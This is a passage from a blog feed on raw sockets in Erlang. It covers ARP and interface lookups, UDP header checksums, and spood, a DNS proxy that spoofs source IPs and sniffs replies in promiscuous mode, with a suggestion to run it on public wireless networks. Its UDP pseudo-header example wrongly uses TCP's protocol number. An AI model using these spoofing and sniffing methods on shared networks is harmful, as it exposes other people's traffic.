IP Address in the ARP Cache&lt;/h1&gt;&lt;br /&gt;ARP cache lookups can be done by using:&lt;br /&gt;&lt;pre class="Code"&gt;ioctl(socket, SIOCGARP, &lt;span class="Type"&gt;struct&lt;/span&gt; arpreq);&lt;br /&gt;&lt;/pre&gt;But utilities on Linux just seem to parse &lt;em&gt;/proc/net/arp&lt;/em&gt;:&lt;br /&gt;&lt;pre class="Code"&gt;arplookup({IP1,IP2,IP3,IP4}) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, FD} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;file:open&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;/proc/net/arp&amp;quot;&lt;/span&gt;, [read,raw]),&lt;br /&gt;    arploop(FD, &lt;span class="Identifier"&gt;inet_parse:ntoa&lt;/span&gt;({IP1,IP2,IP3,IP4}))&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;arploop(FD, Address) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;case&lt;/span&gt; &lt;span class="Identifier"&gt;file:read_line&lt;/span&gt;(FD) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        eof &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;file:close&lt;/span&gt;(FD),&lt;br /&gt;            not_found;&lt;br /&gt;        {ok, Line} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Statement"&gt;case&lt;/span&gt; &lt;span class="Identifier"&gt;lists:prefix&lt;/span&gt;(Address, Line) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;                &lt;span class="Statement"&gt;true&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;                    &lt;span class="Identifier"&gt;file:close&lt;/span&gt;(FD),&lt;br /&gt;                    M &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;string:tokens&lt;/span&gt;(&lt;br /&gt;                        &lt;span class="Identifier"&gt;lists:nth&lt;/span&gt;(?HWADDR_OFF, &lt;span class="Identifier"&gt;string:tokens&lt;/span&gt;(Line, &lt;span class="Constant"&gt;&amp;quot; &lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;)), &lt;span class="Constant"&gt;&amp;quot;:&amp;quot;&lt;/span&gt;),&lt;br /&gt;                    &lt;span class="Identifier"&gt;list_to_tuple&lt;/span&gt;([ &lt;span class="Identifier"&gt;erlang:list_to_integer&lt;/span&gt;(E, &lt;span class="Constant"&gt;16&lt;/span&gt;) || E &lt;span class="Statement"&gt;&amp;lt;-&lt;/span&gt; M ]);&lt;br /&gt;                &lt;span class="Statement"&gt;false&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; arploop(FD, Address)&lt;br /&gt;            &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;Getting a List of Interfaces&lt;/h1&gt;&lt;br /&gt;To get the list of interfaces on a system, yet another ioctl() is used, this time passing in SIOCGIFCONF and this structure as arguments:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; ifconf&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; ifc_len;            &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Size of buffer.  &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;union&lt;/span&gt;&lt;br /&gt;    {&lt;br /&gt;        __caddr_t ifcu_buf;&lt;br /&gt;        &lt;span class="Type"&gt;struct&lt;/span&gt; ifreq *ifcu_req;&lt;br /&gt;    } ifc_ifcu;&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;a href="http://www.doctort.org/adam/nerd-notes/enumerating-network-interfaces-on-linux.html"&gt;Here&lt;/a&gt; is an example of retrieving the interface list in C.&lt;br /&gt;&lt;p/&gt;The ioctl() takes, as an argument, a structure using a length and a pointer to a buffer. procket doesn't have a way of allocating a piece of memory though it could be modified to have an NIF that allocates a binary and returns the address of the binary as an integer. Functions could then pass in the memory address but a buggy piece of Erlang code might pass in the wrong value and crash the VM. (&lt;b&gt;Edit&lt;/b&gt;: The erl_nif interface in Erlang R14A supports safely passing a reference to a block of memory between functions using &lt;a href="http://www.erlang.org/doc/man/erl_nif.html#enif_alloc_resource"&gt;enif_alloc_resource()&lt;/a&gt; to create a "Resource Object".)&lt;br /&gt;&lt;p/&gt;Instead, I simply parse the output of &lt;em&gt;/proc/net/dev&lt;/em&gt;. For example, here is the output on my laptop:&lt;br /&gt;&lt;pre class="Code"&gt;$ cat /proc/net/dev&lt;br /&gt;Inter-|   Receive                                                |  Transmit&lt;br /&gt; face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed&lt;br /&gt;    lo:  &lt;span class="Constant"&gt;526441&lt;/span&gt;    &lt;span class="Constant"&gt;3620&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Constant"&gt;0&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;         &lt;span class="Constant"&gt;0&lt;/span&gt;   &lt;span class="Constant"&gt;526441&lt;/span&gt;    &lt;span class="Constant"&gt;3620&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Constant"&gt;0&lt;/span&gt;       &lt;span class="Constant"&gt;0&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;&lt;br /&gt;  eth0:       &lt;span class="Constant"&gt;0&lt;/span&gt;       &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Constant"&gt;0&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;         &lt;span class="Constant"&gt;0&lt;/span&gt;        &lt;span class="Constant"&gt;0&lt;/span&gt;       &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Constant"&gt;0&lt;/span&gt;       &lt;span class="Constant"&gt;0&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;&lt;br /&gt; wifi0:&lt;span class="Constant"&gt;10960093&lt;/span&gt;   &lt;span class="Constant"&gt;26897&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;  &lt;span class="Constant"&gt;1578&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;         &lt;span class="Constant"&gt;0&lt;/span&gt;   &lt;span class="Constant"&gt;734661&lt;/span&gt;    &lt;span class="Constant"&gt;4876&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Constant"&gt;0&lt;/span&gt;       &lt;span class="Constant"&gt;0&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;&lt;br /&gt;  ath0:&lt;span class="Constant"&gt;14422892&lt;/span&gt;   &lt;span class="Constant"&gt;12536&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Constant"&gt;0&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;         &lt;span class="Constant"&gt;0&lt;/span&gt;   &lt;span class="Constant"&gt;576599&lt;/span&gt;    &lt;span class="Constant"&gt;4706&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Constant"&gt;0&lt;/span&gt;       &lt;span class="Constant"&gt;0&lt;/span&gt;          &lt;span class="Constant"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Even nastier than the arp cache lookup, since I resorted to using regular expressions.&lt;br /&gt;&lt;pre class="Code"&gt;iflist() &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, FD} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;file:open&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;/proc/net/dev&amp;quot;&lt;/span&gt;, [raw, read]),&lt;br /&gt;    iflistloop(FD, [])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;iflistloop(FD, Ifs) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;case&lt;/span&gt; &lt;span class="Identifier"&gt;file:read_line&lt;/span&gt;(FD) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        eof &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;file:close&lt;/span&gt;(FD),&lt;br /&gt;            Ifs;&lt;br /&gt;        {ok, Line} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            iflistloop(FD, iflistmatch(Line, Ifs))&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;iflistmatch(Data, Ifs) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;case&lt;/span&gt; &lt;span class="Identifier"&gt;re:run&lt;/span&gt;(Data, &lt;span class="Constant"&gt;&amp;quot;^&lt;/span&gt;&lt;span class="Special"&gt;\\&lt;/span&gt;&lt;span class="Constant"&gt;s*([a-z]+[0-9]+):&amp;quot;&lt;/span&gt;, [{capture, [&lt;span class="Constant"&gt;1&lt;/span&gt;], &lt;span class="Identifier"&gt;list&lt;/span&gt;}]) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        nomatch &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; Ifs;&lt;br /&gt;        {match, [If]} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; [If|Ifs]&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;Finding the Default Interface&lt;/h1&gt;&lt;br /&gt;In &lt;a href="http://github.com/msantos/spood"&gt;spood&lt;/a&gt;, I took the easy way and just sort of guessed. A proper solution would check the routing table. Instead I look for the first interface without a local IP address:&lt;br /&gt;&lt;pre class="Code"&gt;device() &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, S} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:listen&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [{protocol, udp}, {family, inet}, {type, dgram}]),&lt;br /&gt;    [Dev|_] &lt;span class="Statement"&gt;=&lt;/span&gt; [ If || If &lt;span class="Statement"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="Identifier"&gt;packet:iflist&lt;/span&gt;(), ipcheck(S, If) ],&lt;br /&gt;    &lt;span class="Identifier"&gt;procket:close&lt;/span&gt;(S),&lt;br /&gt;    Dev&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ipcheck(S, If) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;try&lt;/span&gt; &lt;span class="Identifier"&gt;packet:ipv4address&lt;/span&gt;(S, If) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        {&lt;span class="Constant"&gt;127&lt;/span&gt;,_,_,_} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;false&lt;/span&gt;;&lt;br /&gt;        {&lt;span class="Constant"&gt;169&lt;/span&gt;,_,_,_} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;false&lt;/span&gt;;&lt;br /&gt;        _ &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;catch&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;error:_&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;false&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;Update: Using the inet Module&lt;/h1&gt;After having gone through all the above, I discovered that the &lt;a href="http://www.erlang.org/doc/man/inet.html"&gt;inet&lt;/a&gt; module, which is part of the Erlang standard library, is able to retrieve information about the local interfaces.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;inet&lt;/em&gt; has 2 functions:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;getiflist/0: retrieve a list of all the local interfaces, e.g., {ok, ["eth0", "eth1"]}&lt;br /&gt;&lt;li&gt;ifget/2: retrieve interface attributes. The arguments can be:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;addr: IP address of interface&lt;br /&gt;&lt;li&gt;hwaddr: the MAC address of the interface. Works on Linux, doesn't work on Mac OS X (returns an empty list).&lt;br /&gt;(&lt;b&gt;Update&lt;/b&gt;: I've &lt;a href="http://www.erlang.org/cgi-bin/ezmlm-cgi?3:mss:1267:201007:aekkbmabalbndomebiol"&gt;submitted a patch&lt;/a&gt; to get the MAC address on Mac OS X)&lt;br /&gt;&lt;li&gt;dstaddr&lt;br /&gt;&lt;li&gt;netmask&lt;br /&gt;&lt;li&gt;broadcast&lt;br /&gt;&lt;li&gt;mtu&lt;br /&gt;&lt;li&gt;flags: returns the interface status, e.g., [up, broadcast, running, multicast]&lt;br /&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To get a list of interfaces:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;inet:getiflist&lt;/span&gt;()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;{ok,[&lt;span class="Constant"&gt;&amp;quot;lo&amp;quot;&lt;/span&gt;,&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;,&lt;span class="Constant"&gt;&amp;quot;eth1&amp;quot;&lt;/span&gt;]}&lt;br /&gt;&lt;/pre&gt;&lt;li&gt;To retrieve the IP and MAC addresses of an interface:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;3&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;inet:ifget&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;, [addr, hwaddr])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;{ok,[{addr,{&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;11&lt;/span&gt;}},{hwaddr,[&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;11&lt;/span&gt;,&lt;span class="Constant"&gt;22&lt;/span&gt;,&lt;span class="Constant"&gt;33&lt;/span&gt;,&lt;span class="Constant"&gt;44&lt;/span&gt;,&lt;span class="Constant"&gt;55&lt;/span&gt;]}]}&lt;br /&gt;&lt;/pre&gt;&lt;/ul&gt;&lt;h1&gt;Update2: Using inet:getifaddrs/0&lt;/h1&gt;As of R14B01, Erlang has a supported, cross-platform method for retrieving interface attributes. The functions returns a list holding the interface information. For example:&lt;pre&gt;1&amp;gt; inet:getifaddrs().&lt;br /&gt;{ok,[{"lo",&lt;br /&gt;      [{flags,[up,loopback,running]},&lt;br /&gt;       {hwaddr,[0,0,0,0,0,0]},&lt;br /&gt;       {addr,{127,0,0,1}},&lt;br /&gt;       {netmask,{255,0,0,0}},&lt;br /&gt;       {addr,{0,0,0,0,0,0,0,1}},&lt;br /&gt;       {netmask,{65535,65535,65535,65535,65535,65535,65535,&lt;br /&gt;                 65535}}]}]&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-9219879206929262428?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/9219879206929262428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/07/fun-with-raw-sockets-in-erlang-finding.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/9219879206929262428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/9219879206929262428'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/07/fun-with-raw-sockets-in-erlang-finding.html' title='Fun with Raw Sockets in Erlang: Finding MAC and IP Addresses'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5238124242818100884</id><published>2010-06-24T22:04:00.010-04:00</published><updated>2010-09-07T17:18:49.050-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='sods'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>Fun with Raw Sockets in Erlang: A Spoofing DNS Proxy</title><content type='html'>&lt;h1&gt;UDP Header&lt;/h1&gt;&lt;a href="http://www.faqs.org/rfcs/rfc768.html"&gt;UDP headers&lt;/a&gt; are specified as:&lt;br /&gt;&lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Source Port:16&lt;/li&gt;&lt;li class="Message"&gt;Destination Port:16&lt;/li&gt;&lt;li class="Message"&gt;Length:16&lt;/li&gt;&lt;li class="Message"&gt;Checksum:16&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The &lt;em&gt;Source Port&lt;/em&gt; is a 2 byte value representing the originating port &lt;br /&gt;&lt;li&gt;The &lt;em&gt;Destination Port&lt;/em&gt; is the 2 byte value specifying the target port&lt;br /&gt;&lt;li&gt;The &lt;em&gt;Length&lt;/em&gt; is the size of the UDP header and packet in bytes. The size of the UDP header is 8 bytes.&lt;br /&gt;&lt;li&gt;The &lt;em&gt;Checksum&lt;/em&gt; algorithm is &lt;a href="http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-abusing.html"&gt;the same as for TCP&lt;/a&gt;, involving the creation of an IP pseuduoheader.&lt;br /&gt;If the length of the UDP packet is an odd number of bytes, the packet is zero padded with an additional byte only for checksumming purposes.&lt;br /&gt;&lt;/ul&gt;The equivalent UDP header in Erlang is: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;SourcePort:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;DestinationPort:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Length:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Checksum:16&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The pseudo-header used for checksumming is: &lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Source Address:32&lt;/li&gt;&lt;li class="Message"&gt;Destination Address:32&lt;/li&gt;&lt;li class="Message"&gt;Zero:8&lt;/li&gt;&lt;li class="Message"&gt;Protocol:8&lt;/li&gt;&lt;li class="Message"&gt;UDP Packet Length:16&lt;/li&gt;&lt;li class="Message"&gt;UDP Header and Payload1:8&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;UDP Header and PayloadN:8&lt;/li&gt;&lt;li class="Message"&gt;optional padding:8&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The &lt;em&gt;Source Address&lt;/em&gt; from the IP header&lt;br /&gt;&lt;li&gt;The &lt;em&gt;Destination Address&lt;/em&gt; from the IP header&lt;br /&gt;&lt;li&gt;The &lt;em&gt;Protocol&lt;/em&gt; for UDP is 17&lt;br /&gt;&lt;li&gt;The &lt;em&gt;UDP Packet Length&lt;/em&gt; in bytes, for both the UDP header and payload. The length of the IP pseudo-header is not included.&lt;br /&gt;&lt;li&gt;The &lt;em&gt;UDP Header and Payload&lt;/em&gt; is the full UDP packet&lt;br /&gt;&lt;li&gt;If the UDP packet length is odd, an additional zero'ed byte is included for checksumming purposes. The extra byte is not used in the length computation or sent with the packet.&lt;br /&gt;&lt;li&gt;The length of the UDP packet is included in both the IP pseudo-header and the UDP header.&lt;br /&gt;&lt;li&gt;The checksum field of the UDP header is set to 0.&lt;br /&gt;&lt;/ul&gt;In Erlang, the pseudo-header is represented as: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;SA1:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA2:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA3:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA4:8&lt;/span&gt;,  &lt;span class="Comment"&gt;% bytes representing the IP source address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;DA1:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA2:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA3:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA4:8&lt;/span&gt;,    &lt;span class="Comment"&gt;% bytes representing the IP destination address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                        &lt;span class="Comment"&gt;% Zero&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;6:8&lt;/span&gt;,                        &lt;span class="Comment"&gt;% Protocol: TCP&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;UDPlen:16&lt;/span&gt;                &lt;span class="Comment"&gt;% UDP packet size in bytes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;SourcePort:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;DestinationPort:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;UDPlen:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;0:16&lt;/span&gt;,&lt;br /&gt;Data&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;0:UDPpad&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;                  &lt;span class="Comment"&gt;% UDPpad may be 0 or 8 bits&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h1&gt;A Spoofing DNS Proxy&lt;/h1&gt;&lt;h2&gt;What?&lt;/h2&gt;&lt;a href="http://github.com/msantos/spood"&gt;spood&lt;/a&gt; is a spoofing DNS proxy with a vaguely obscene name. spood works by accepting DNS queries on localhost and then spoofing the source IP address of the DNS request using the Linux &lt;a href="http://swoolley.org/man.cgi/7/packet"&gt;PF_PACKET&lt;/a&gt; interface. DNS replies are sniffed off the network and returned to localhost.  &lt;h2&gt;Why?&lt;/h2&gt;Maybe for using with &lt;a href="http://blog.listincomprehension.com/2009/12/sods-care-and-feeding-of.html"&gt;IP over DNS tunnels&lt;/a&gt;?  &lt;h2&gt;How?&lt;/h2&gt;spood works with &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; and &lt;a href="http://github.com/msantos/epcap"&gt;epcap&lt;/a&gt;.  &lt;h2&gt;This Will Probably Be the First Page Returned For Searches For "Erlang Promiscuity"&lt;/h2&gt;While spood can run by spoofing its own IP address, it's more fun running it on a hubbed or public wireless network. To allow spood to sniff the network, I added support for &lt;a href="http://www.manpagez.com/man/2/setsockopt/"&gt;setsockopt()&lt;/a&gt; to procket as an additional NIF.  Promiscuous mode, under Linux, can be activated/deactivated globally by using an ioctl() or per application by using setsockopt(). To enable promiscuous mode, the application needs to call: &lt;pre class="Code"&gt;setsockopt(socket, SOL_PACKET, PACKET_ADD_MEMBERSHIP, (&lt;span class="Type"&gt;void&lt;/span&gt; *)&amp;amp;mreq, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(mreq))&lt;br /&gt;&lt;/pre&gt;Though obtaining a PF_PACKET socket requires root privileges, performing the setsockopt() call on the socket does not.  mreq is a &lt;em&gt;struct packet_mreq&lt;/em&gt;: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; packet_mreq {&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt;            mr_ifindex;    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; interface index &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;short&lt;/span&gt; mr_type;       &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; action &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;short&lt;/span&gt; mr_alen;       &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; address length &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;char&lt;/span&gt;  mr_address[&lt;span class="Constant"&gt;8&lt;/span&gt;]; &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; physical layer address &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;mr_ifindex&lt;/em&gt; is the interface index returned by doing an &lt;a href="http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-sending.html"&gt;ioctl() in host endian format&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;em&gt;mr_type&lt;/em&gt; is set to PACKET_MR_PROMISC in host endian format&lt;br /&gt;&lt;li&gt;the reminder of the struct is zero'ed&lt;br /&gt;&lt;/ul&gt;The Erlang version looks like: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;-define&lt;/span&gt;(SOL_PACKET, &lt;span class="Constant"&gt;263&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-define&lt;/span&gt;(PACKET_ADD_MEMBERSHIP, &lt;span class="Constant"&gt;1&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-define&lt;/span&gt;(PACKET_DROP_MEMBERSHIP, &lt;span class="Constant"&gt;2&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-define&lt;/span&gt;(PACKET_MR_PROMISC, &lt;span class="Constant"&gt;1&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;promiscuous(Socket, Ifindex) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;procket:setsockopt&lt;/span&gt;(Socket, ?SOL_PACKET, 